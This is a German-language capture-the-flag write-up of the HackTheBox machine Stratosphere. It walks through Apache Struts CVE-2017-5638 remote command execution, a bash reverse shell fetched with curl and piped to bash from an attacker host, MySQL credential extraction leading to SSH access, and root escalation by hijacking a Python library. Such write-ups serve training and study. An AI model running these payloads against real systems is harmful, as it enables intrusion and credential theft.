> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md). # Stratosphere HackTheBox Writeup Stratosphere HackTheBox Medium Linux-Maschine Writeup zu Apache-Struts-Exploitation (CVE-2017-5638), Python-Bibliothek-Hijacking (Privilegieneskalation), mit praktischer Enumeration, Exploitation, Fuß {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Ausnutzung von Apache Struts (CVE-2017-5638) * Hijacking einer Python-Bibliothek (Privilegieneskalation) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts ```

**Analyse offener Ports mit ExtractPorts (**22.80.8080**)** Verwendung der extractPorts-Funktion, um offene Ports kompakt anzuzeigen und in die Zwischenablage zu kopieren.

**Port- und Versionsscan mit Nmap:** Verwendung von Nmap, um die Version der Ports zu scannen und Informationen in der Datei „targeted“ zu extrahieren ```bash nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted ```

### /*/Erkundung von Webdiensten (Ports 80 und 8080) //* Ports 80 und 8080 hosten dieselbe Website.

### Fuzzing mit **Gobuster** Wir starten `Gobuster` um nach interessanten Verzeichnissen zu suchen {% code overflow="wrap" %} ```bash gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` {% endcode %} Wir entdecken die folgenden Pfade: * `/manager` - Tomcat-Manager-Oberfläche * `/monitoring` - Überwachungsbereich

### Manager - Tomcat :

### Überwachung:

## Ausnutzung von Apache Struts (CVE-2017-5638) #### **Erkundung des Überwachungsverzeichnisses** Beim Versuch, sich zu registrieren, erhalten wir eine Fehlermeldung. Außerdem beobachten wir eine Erweiterung `.action`, was möglicherweise auf eine auf Apache Struts basierende Anwendung hinweist

{% embed url="" %} Wir verwenden `struts-pwn.py` um Remote-Befehlsausführung zu testen: ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id' ``` Der Befehl funktioniert und bestätigt die Verwundbarkeit.

#### **Shell umgekehrt** 1. Lauschen mit Netcat: ```bash nc -nvlp 443 ``` 2. Erstellen einer `index.html` Datei mit unserer umgekehrten Shell: ``` #!/bin/bash bash -i >& /dev/tcp/10.10.14.69/443 0>&1 ``` 3. Bereitstellen der Datei mit einem Python-Webserver: ``` python3 -m http.server 8080 ``` 4. Die umgekehrte Shell über den Exploit ausführen: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash' ``` {% endcode %} Leider schlägt dieser Ansatz fehl. ### **Extraktion sensibler Informationen** Wir listen die Dateien auf dem Server auf:

Wir entdecken eine `db_connect` Datei. Wenn wir sie ausgeben, erhalten wir Anmeldedaten: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l' ``` {% endcode %}

Die aus den MySQL-Anmeldedaten gewonnenen Informationen: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect' ``` {% endcode %} * benutzer: ssn/\_admin / admin * pass=AWs64\@on/\*& / admin

### Extraktionsinfo - mysqlshow #### **Aufzählung der Datenbanken** Wir verwenden `mysqlshow` um die mit dem Benutzer zugänglichen Datenbanken aufzulisten `admin` durch Ausnutzung einer Struts-Schwachstelle über `struts-pwn.py`: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin" ``` {% endcode %}

Damit können wir die Datenbank identifizieren **users**. #### **Zusammenfassung der Tabellen** Dann listen wir die Tabellen aus der Basis auf **users**: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users ``` {% endcode %}

#### **Aufzählung der Spalten und Extraktion von Anmeldedaten** Wir listen nun die Spalten der Tabelle auf **accounts** und versuchen, deren Inhalte zu extrahieren {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts" ``` {% endcode %}

Wir erhalten die folgenden Informationen: * **Benutzername**: `richard` * **Passwort**: `9tc*rhKuG5TyXvUJOrE^5CK7k` {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users' ``` {% endcode %}

Wir verwenden die gefundenen Informationen, um per SSH eine Verbindung zum Zielsystem herzustellen: ```bash ssh richard@10.10.10.64 ```

### Flagge user.txt :)

## Privilegieneskalation ### Privilegieneskalation durch Hijacking einer Python-Bibliothek Zuerst führen Sie den folgenden Befehl aus, um die `sudo` Berechtigungen aufzulisten:

Wir stellen fest, dass wir berechtigt sind, ein Python-Skript als `root`: ```bash (ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py ```

Durch Analyse des `/home/richard/test.py` Skripts erkennt man, dass ein Modul importiert wird, ohne seinen absoluten Pfad anzugeben, zum Beispiel: ``` import os os.system("bash") ``` Dann führen wir das Skript als `root`: ```bash sudo /usr/bin/python3.7 /home/richard/test.py ``` * Sobald das Skript gestartet wird, wird unsere schädliche Version von `hashlib.py` geladen und führt eine Shell mit `root` Rechten aus.

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.